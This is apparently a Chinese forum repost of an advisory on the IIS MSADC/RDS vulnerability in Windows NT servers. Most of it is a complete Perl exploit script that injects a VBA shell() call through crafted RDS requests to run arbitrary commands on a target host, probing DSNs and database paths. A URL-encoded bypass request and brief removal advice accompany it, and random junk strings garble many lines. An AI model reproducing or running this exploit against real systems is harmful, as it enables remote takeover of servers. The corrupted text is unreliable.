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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) q k !Q2W  
Y#Hf\8r,d  
涉及程序: #$A6s~`B  
Microsoft NT server wi&m(f(~  
}g`A*y;t  
描述: JiRW|+`pe  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 'vh:(-  
v!W,h2:J  
详细: )`L!eN  
如果你没有时间读详细内容的话,就删除:  Z3I<  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ((H}d?^AJ  
有关的安全问题就没有了。 /at#[Pw~01  
}U8H4B~UtY  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 +pDuRr  
XX/cJp  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 {gJOc,U4b  
关于利用ODBC远程漏洞的描述,请参看: ny#7iz/  
;Yi ;2ttW  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 8(ZQD+U(9F  
bd%/dr  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 z/;NoQ-  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp M T{^=F ]  
($ae n  
这里不再论述。 H1q>UU:  
T6{IuQjXs  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: i8 dv|oa  
[t0gXdU 6  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 5~ jGF  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ^D\#*pIO  
~(Fy GB}  
]0\8g=KK  
#将下面这段保存为txt文件,然后: "perl -x 文件名" {At1]>  
]2v31'  
#!perl W~gFY#w  
# sYeZ.MacU  
# MSADC/RDS 'usage' (aka exploit) script vZ|m3;X  
# `m3C\\9;  
# by rain.forest.puppy -N9U lW2S  
# lPx4I  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 2&P'rmFm  
# beta test and find errors! )82x)c<e  
3:S Ex;d+  
use Socket; use Getopt::Std; |3vQmd !2}  
getopts("e:vd:h:XR", \%args); * \f(E#wa  
;@Ls "+g  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; uI+h9j$vS  
][D<J0  
if (!defined $args{h} && !defined $args{R}) { ZJd1Lx   
print qq~ k~:B3p  
Usage: msadc.pl -h <host> { -d <delay> -X -v } +   
-h <host> = host you want to scan (ip or domain) tV%M2 DxS  
-d <seconds> = delay between calls, default 1 second }`>u+iH#a  
-X = dump Index Server path table, if available <Y9ps`{}:  
-v = verbose wxF9lZz  
-e = external dictionary file for step 5 x"*u98&3  
z%]~^k8  
Or a -R will resume a command session N=-hXgX^  
UiW( /L  
~; exit;} Kh3*\xT  
yl)}1DPP  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; N!$y`nwiw'  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} IaN|S|n~  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ,p0R 4gi  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); /G\-v2iD  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} %  &{>oEQ  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } trg+" )a  
YQ2ie>C8  
if (!defined $args{R}){ $ret = &has_msadc; YS/{q~$t  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} evZ{~v& /  
x1wm]|BIf  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 1vi<@i,  
. "cmd /c "; 0 E{$u  
$in=<STDIN>; chomp $in; {b} ?I4)  
$command="cmd /c " . $in ; +d]}  
u|B\@"0  
if (defined $args{R}) {&load; exit;} \O`B@!da~  
hE+6z%A8  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; %I[(`nb  
&try_btcustmr; .-fJ\`^mi  
k$# @_  
print "\nStep 2: Trying to make our own DSN..."; TRG"fVR  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; GIt; Y  
m?bb/o'B  
print "\nStep 3: Trying known DSNs..."; Q:lSKf  
&known_dsn; Lab{?!E>U  
8qo{%  
print "\nStep 4: Trying known .mdbs..."; OP%h`  
&known_mdb; ;OE{&  
NC|&7qQ  
if (defined $args{e}){ 5fM/y3QPsZ  
print "\nStep 5: Trying dictionary of DSN names..."; X 1^f0\k  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } l 8n#sGA%  
]g!k'@  
print "Sorry Charley...maybe next time?\n"; QV7K~qi  
exit; }[$C=|>  
5c`DkWne%  
############################################################################## v~uQ_ae$>  
"\]kK @,  
sub sendraw { # ripped and modded from whisker `)!)}PXl  
sleep($delay); # it's a DoS on the server! At least on mine... @D Qg1|m  
my ($pstr)=@_; hekAics6S  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ngn%"xYX  
die("Socket problems\n");  qqLmjDv  
if(connect(S,pack "SnA4x8",2,80,$target)){ 3Ud&B  
select(S); $|=1; 'R99kL/.N  
print $pstr; my @in=<S>; s>E4.0[I%  
select(STDOUT); close(S); |l `X]dsfQ  
return @in; t&eY+3y,T  
} else { die("Can't connect...\n"); }} zH}u9IR3`  
D3vdO2H  
############################################################################## ,m9Nd "6\  
A: 0  
sub make_header { # make the HTTP request L*Xn!d%  
my $msadc=<<EOT m},nKsO  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 v6;XxBR6  
User-Agent: ACTIVEDATA )d_)CuUBe  
Host: $ip &> p2N  
Content-Length: $clen +);o{wfW  
Connection: Keep-Alive "-90:"W  
}ZlJ  
ADCClientVersion:01.06 YLJH?=2@  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 O"nY4  
(/Hq8o-Fw  
--!ADM!ROX!YOUR!WORLD! \bZbz/+D  
Content-Type: application/x-varg M +~guTh  
Content-Length: $reqlen WQ|d;[E  
VEd\*  
EOT i=#r JK=  
; $msadc=~s/\n/\r\n/g; u ,*$n'l]  
return $msadc;} \/. Of]YQ  
4cTJ$" v  
############################################################################## m{I_E G  
6^s]2mMfk  
sub make_req { # make the RDS request Z#3wMK~  
my ($switch, $p1, $p2)=@_; 8pg?g'A~}  
my $req=""; my $t1, $t2, $query, $dsn; Zj[Bm\ 8  
)|q,RAn  
if ($switch==1){ # this is the btcustmr.mdb query RHz'Dz>0  
$query="Select * from Customers where City=" . make_shell(); VsNqYFHes&  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . !D7 [R'RgY  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} e(6g|h  
'[{M"S  
elsif ($switch==2){ # this is general make table query 4ehajK  
$query="create table AZZ (B int, C varchar(10))"; &:nWZ!D  
$dsn="$p1";} mAX]m1s  
)U`H7\*)  
elsif ($switch==3){ # this is general exploit table query j}X4#{jgC  
$query="select * from AZZ where C=" . make_shell(); ^-f5;B`\i  
$dsn="$p1";} x\3tSP7Vp  
|Gzd|$%Oq  
elsif ($switch==4){ # attempt to hork file info from index server |bVNlL"xN  
$query="select path from scope()"; Xa Yx avq  
$dsn="Provider=MSIDXS;";} >OBuHqC  
U3&*,xeU@H  
elsif ($switch==5){ # bad query I^qk`5w  
$query="select"; /1gKc}rB2  
$dsn="$p1";} o.Mb~8Yu  
ec)G~?FH  
$t1= make_unicode($query); I,l%6oPa  
$t2= make_unicode($dsn); \4bma<~a  
$req = "\x02\x00\x03\x00"; 0 jVuF l  
$req.= "\x08\x00" . pack ("S1", length($t1)); ?k<wI)JR  
$req.= "\x00\x00" . $t1 ; GmcxN<  
$req.= "\x08\x00" . pack ("S1", length($t2)); LGgEq -  
$req.= "\x00\x00" . $t2 ; ,D  [  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; BB1'B-O  
return $req;} K/, B  
J3}^\k=p"  
############################################################################## +pnT6kU|  
)><cL:IJ}S  
sub make_shell { # this makes the shell() statement r%&hiobMYs  
return "'|shell(\"$command\")|'";} sYYg5vL9  
BT2[@qH|qF  
############################################################################## +wY3E*hU  
)Mi #{5z  
sub make_unicode { # quick little function to convert to unicode T=ox;r  
my ($in)=@_; my $out; |U8;25Y  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } w-HgC  
return $out;} ~lzV=c$t  
>hRYsWbmg  
############################################################################## FwBktuS  
}V ;PaX  
sub rdo_success { # checks for RDO return success (this is kludge) +`yDWN?7  
my (@in) = @_; my $base=content_start(@in); +)qPUKb?  
if($in[$base]=~/multipart\/mixed/){ [t: =%&B  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Ni"fV]'  
return 0;} W7O%.xP  
#:"\6s  
############################################################################## \I/l6H>o3  
 i/y+kL  
sub make_dsn { # this makes a DSN for us H]mY6D51"  
my @drives=("c","d","e","f"); eOZA2  
print "\nMaking DSN: "; \$yI'q  
foreach $drive (@drives) { 7: J6 F  
print "$drive: "; "Y7RvL!U  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . oYup*@t  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" %_@8f|# ,M  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 4_F<jx,G  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; bqS*WgMY-  
return 0 if $2 eq "404"; # not found/doesn't exist /:z}WAW  
if($2 eq "200") { 7 G~MqnO|  
foreach $line (@results) { !:c7I@  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} "sUe:F;  
} return 0;} yV$p(+KkS  
qusgX;)  
############################################################################## BaR9X ?~O$  
,Uc\ Ajx  
sub verify_exists { @Ys(j$U't  
my ($page)=@_; 8:huWjh]M  
my @results=sendraw("GET $page HTTP/1.0\n\n"); sog?Mvoq  
return $results[0];} #v89`$#`2  
S;Lqx5Cd  
############################################################################## fdck/|`t  
xPq3Sfg`A  
sub try_btcustmr { "P&|e|7  
my @drives=("c","d","e","f"); #Ru+|KL  
my @dirs=("winnt","winnt35","winnt351","win","windows"); %Kw5 b ;  
?N,a {#w  
foreach $dir (@dirs) { 2a (w7/W:  
print "$dir -> "; # fun status so you can see progress }]=b%CPJh+  
foreach $drive (@drives) { f|m.v +7k  
print "$drive: "; # ditto Jn' q'+  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; FnvN 4h{S  
$reqlenlen=length( "$reqlen" ); .: 87B=  
$clen= 206 + $reqlenlen + $reqlen; K%2,z3ps  
e@L+z  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); n`vqCO7@'  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} e&<#8;2X  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} IW$&V``v  
oT\B-lx  
############################################################################## ;}.jRmnJ  
!}l)okQH<#  
sub odbc_error { ag:#82C  
my (@in)=@_; my $base; V BIPB  
my $base = content_start(@in); BXZ( %tnY  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this !D7\$ g6g  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; \X Nb9-  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; '/z.\S  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; sN5 x\9U  
return $in[$base+4].$in[$base+5].$in[$base+6];} NV36Q^Am[  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; HTQ .kV  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . eq(|%]a=  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} |>j=#2  
4{}u PbS  
############################################################################## NO`LSF  
tN3Xn]   
sub verbose { iBV*GW  
my ($in)=@_; [9'5+RXw3  
return if !$verbose; Dr7,>Yx  
print STDOUT "\n$in\n";} v;JY;Uh|  
m-, '  
############################################################################## Z !wDh_  
E 7;KG^  
sub save { :}+U?8/"7  
my ($p1, $p2, $p3, $p4)=@_; IR5 S-vO  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; $daI++v`  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; KD-0NO=oL  
close OUT;} AJC Wp4,  
g#Zb}^  
############################################################################## BL]!j#''KE  
yoGE#+|7^  
sub load { vQc>jmS+n  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ]9R?2{"K  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); kYPowM  
@p=<IN>; close(IN); YRW<n9=3  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); jM2gu~  
$target= inet_aton($ip) || die("inet_aton problems"); oJ{)0;<~L  
print "Resuming to $ip ..."; Z TjlGU `  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ""d3ownKhw  
if($p[1]==1) { 4) /tCv  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; >+#TsX{  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; N^%[ B9D  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); _L%/NXu,  
if (rdo_success(@results)){print "Success!\n";} 7:jSP$  
else { print "failed\n"; verbose(odbc_error(@results));}} P@k ;Lg"  
elsif ($p[1]==3){ *Ty>-aS1  
if(run_query("$p[3]")){ :3Ty%W&&  
print "Success!\n";} else { print "failed\n"; }} {D1=TTr^  
elsif ($p[1]==4){ }eEF/o  
if(run_query($drvst . "$p[3]")){ 6&.[ :IHw  
print "Success!\n"; } else { print "failed\n"; }} OWtN=Gk  
exit;} XfViLBY( >  
C [=/40D  
############################################################################## ZSKk*<=  
&|/C*2A  
sub create_table { IL YS:c58=  
my ($in)=@_; :L*CL 8m  
$reqlen=length( make_req(2,$in,"") ) - 28; l]oGhM;  
$reqlenlen=length( "$reqlen" ); z#D@mn5\ a  
$clen= 206 + $reqlenlen + $reqlen; J@!Sf7k42  
my @results=sendraw(make_header() . make_req(2,$in,"")); _ F@>?\B  
return 1 if rdo_success(@results); CDU^X$Q  
my $temp= odbc_error(@results); verbose($temp); Gx'mVC"{  
return 1 if $temp=~/Table 'AZZ' already exists/; i"Ct}7i  
return 0;} "W\ #d  
N<$ uAns  
############################################################################## KXicy_@DC`  
B<8Z?:3YS  
sub known_dsn { [#lPT'l  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go DFE?H  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", @@SG0YxZ  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", A' dt WD  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); WdunI~&.  
rh$%*l  
foreach $dSn (@dsns) { )o AK)e  
print "."; pf] sL/g  
next if (!is_access("DSN=$dSn")); Kc{fT^E  
if(create_table("DSN=$dSn")){ m"H9C-Y  
print "$dSn successful\n"; Xa9G;J$  
if(run_query("DSN=$dSn")){ +~w '?vNc  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Q? W]g%:)  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ={#r/x  
5#QB&A>  
############################################################################## 4V43(G  
0BxO75m}o  
sub is_access { xjR/K&[m  
my ($in)=@_; L|!9%X0.  
$reqlen=length( make_req(5,$in,"") ) - 28; MJ}VNv|S  
$reqlenlen=length( "$reqlen" ); DX4 95<6*  
$clen= 206 + $reqlenlen + $reqlen; %z.u % %  
my @results=sendraw(make_header() . make_req(5,$in,"")); k9yA#  
my $temp= odbc_error(@results); O?8G  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); xV<NeU  
return 0;} MttVgNV  
<aL$d7  
############################################################################## X@|  
ro^Y$;G  
sub run_query { bG2 !5m4L  
my ($in)=@_; ?=Ma7 y  
$reqlen=length( make_req(3,$in,"") ) - 28; "b-6kM  
$reqlenlen=length( "$reqlen" ); R:^GNra;  
$clen= 206 + $reqlenlen + $reqlen; l}:9)nXA{  
my @results=sendraw(make_header() . make_req(3,$in,"")); ~[ve?51  
return 1 if rdo_success(@results); cJi5\<b  
my $temp= odbc_error(@results); verbose($temp); //V?rs  
return 0;} (nvSB}?  
WlWBYnphZs  
##############################################################################  <&$!;d8  
^XZm tB  
sub known_mdb { Q8z>0ci3o  
my @drives=("c","d","e","f","g"); mQo]k  
my @dirs=("winnt","winnt35","winnt351","win","windows"); H^'*F->BA  
my $dir, $drive, $mdb; z@T;N'EM  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ")x9A&p  
)9L1WOGi  
# this is sparse, because I don't know of many H'Z[3e  
my @sysmdbs=( "\\catroot\\icatalog.mdb", jr~76  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", !C#q  
"\\system32\\certmdb.mdb", 8h;1(S)*Z  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% S`"IM?  
X} 8rrC=  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", V 1#/ +~  
"\\cfusion\\cfapps\\forums\\forums_.mdb", t=A| K    
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", W c-P= J*m  
"\\cfusion\\cfapps\\security\\realm_.mdb", mP3:Fc _G  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Q:=s99  
"\\cfusion\\database\\cfexamples.mdb", u) fbR  
"\\cfusion\\database\\cfsnippets.mdb", 6j_ A{*~Ng  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", LT2mwJl  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Wm Od1  
"\\cfusion\\brighttiger\\database\\cleam.mdb", |D`Zi>lv  
"\\cfusion\\database\\smpolicy.mdb", y5+-_x,  
"\\cfusion\\database\cypress.mdb", Ww)qBsi8  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", QJGRi  
"\\website\\cgi-win\\dbsample.mdb", _y5b>+  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", %DzS~5$G  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" {_ewc/~  
); #these are just Q$V xm+  
foreach $drive (@drives) { eT:%i"C  
foreach $dir (@dirs){ Gh42qar`  
foreach $mdb (@sysmdbs) { 1c?,= ;>  
print "."; :q^g+Bu=  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ >{npg2  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; WpSdukXY{  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ZaXK=%z  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; =2->1<!x6<  
} else { print "Something's borked. Use verbose next time\n"; }}}}} >/$Q:92T  
iK=H9j  
foreach $drive (@drives) { .:_dS=ut  
foreach $mdb (@mdbs) { F;`of  
print "."; qXP)R/~OZ  
if(create_table($drv . $drive . $dir . $mdb)){ &k : |  
print "\n" . $drive . $dir . $mdb . " successful\n"; ?G.9D`95  
if(run_query($drv . $drive . $dir . $mdb)){ wQ(ME7 t  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; B^{bXhDp  
} else { print "Something's borked. Use verbose next time\n"; }}}} Y:*mAv;&  
} ~>s^/`|?  
< ~x5{p  
############################################################################## FW[<;$  
6q6&N'We  
sub hork_idx { L-G186B$r  
print "\nAttempting to dump Index Server tables...\n"; 2ORWdR.b  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; G0y%_"[  
$reqlen=length( make_req(4,"","") ) - 28; ,| xG2G6  
$reqlenlen=length( "$reqlen" ); <~X=6  
$clen= 206 + $reqlenlen + $reqlen; &AOw(?2  
my @results=sendraw2(make_header() . make_req(4,"","")); q:1 1XPP  
if (rdo_success(@results)){ &&JI$x0;  
my $max=@results; my $c; my %d; 83;1L:}`  
for($c=19; $c<$max; $c++){ ] p'+F  
$results[$c]=~s/\x00//g; hMhD(X  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ,7/un8:%c  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; +apIp(E+  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; +zz9u?2C`  
$d{"$1$2"}="";} 4ol=YGCI_  
foreach $c (keys %d){ print "$c\n"; } JL;H:`x  
} else {print "Index server doesn't seem to be installed.\n"; }} kD MS7y<s  
e0>@Yp[Kd  
############################################################################## BFj@Z'7P  
{vA;#6B|  
sub dsn_dict { ] p+t>'s  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ^b>E_u  
while(<IN>){ ,<pql!B-  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; UkXc7D^jwm  
next if (!is_access("DSN=$dSn")); !i}G>*XH,  
if(create_table("DSN=$dSn")){ Wu.od|t0  
print "$dSn successful\n"; &~||<0m  
if(run_query("DSN=$dSn")){ X]  Tb4  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { V! "^6)  
print "Something's borked. Use verbose next time\n";}}} i&.F}bEi  
print "\n"; close(IN);} .7E-  
Mt@K01MI%  
############################################################################## !v`q%JW(  
+u25>pX  
sub sendraw2 { # ripped and modded from whisker  _%i|*  
sleep($delay); # it's a DoS on the server! At least on mine... s/Q}fW$ex  
my ($pstr)=@_; L[TL~@T   
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || \4zvknk<  
die("Socket problems\n"); <w{W1*R9  
if(connect(S,pack "SnA4x8",2,80,$target)){ U@Aq@d+n  
print "Connected. Getting data"; :GL|:  
open(OUT,">raw.out"); my @in; n!HFHy2  
select(S); $|=1; print $pstr; z{!wQ~ j  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} kQVl8KS  
close(OUT); select(STDOUT); close(S); return @in; Q&M(wnl5  
} else { die("Can't connect...\n"); }} z:< (b   
O@E&lP6  
############################################################################## jX+LI  
BKvF,f/g  
sub content_start { # this will take in the server headers dF1Bo  
my (@in)=@_; my $c; :I<%.|8  
for ($c=1;$c<500;$c++) { UK& E#i  
if($in[$c] =~/^\x0d\x0a/){ I X\&lV  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ;'J L$=  
else { return $c+1; }}} 6{+~B2Ef  
return -1;} # it should never get here actually JZP2NB_xt  
y)(SS8JR  
############################################################################## kN>d5q9b%X  
BA t2m-  
sub funky { kO2im+y  
my (@in)=@_; my $error=odbc_error(@in); ;iS}<TA  
if($error=~/ADO could not find the specified provider/){ !4oYQB  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ~{d94o.  
exit;} cRU.   
if($error=~/A Handler is required/){ ^/g&Q  
print "\nServer has custom handler filters (they most likely are patched)\n"; UI;!_C_  
exit;} T 6phD8#  
if($error=~/specified Handler has denied Access/){ ?hDEFW9&^x  
print "\nServer has custom handler filters (they most likely are patched)\n"; ]]`+aF0  
exit;}} 8,kbGlSD  
NPS=?5p>  
############################################################################## %FyB\IQ  
typ*.j[q  
sub has_msadc { AA05wpu8  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ^OA}#k NTW  
my $base=content_start(@results); Gl1`Nx0  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 88G[XkL$2  
return 0;} lfI[r|  
jq =-Y  
######################## cUy6/x9&  
KCCS7l/  
_=}Y lR  
解决方案: =M(\R8  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll _n{N3da  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ]j{S' cz  
YDQV,`S7  
拿出来充数 哈哈
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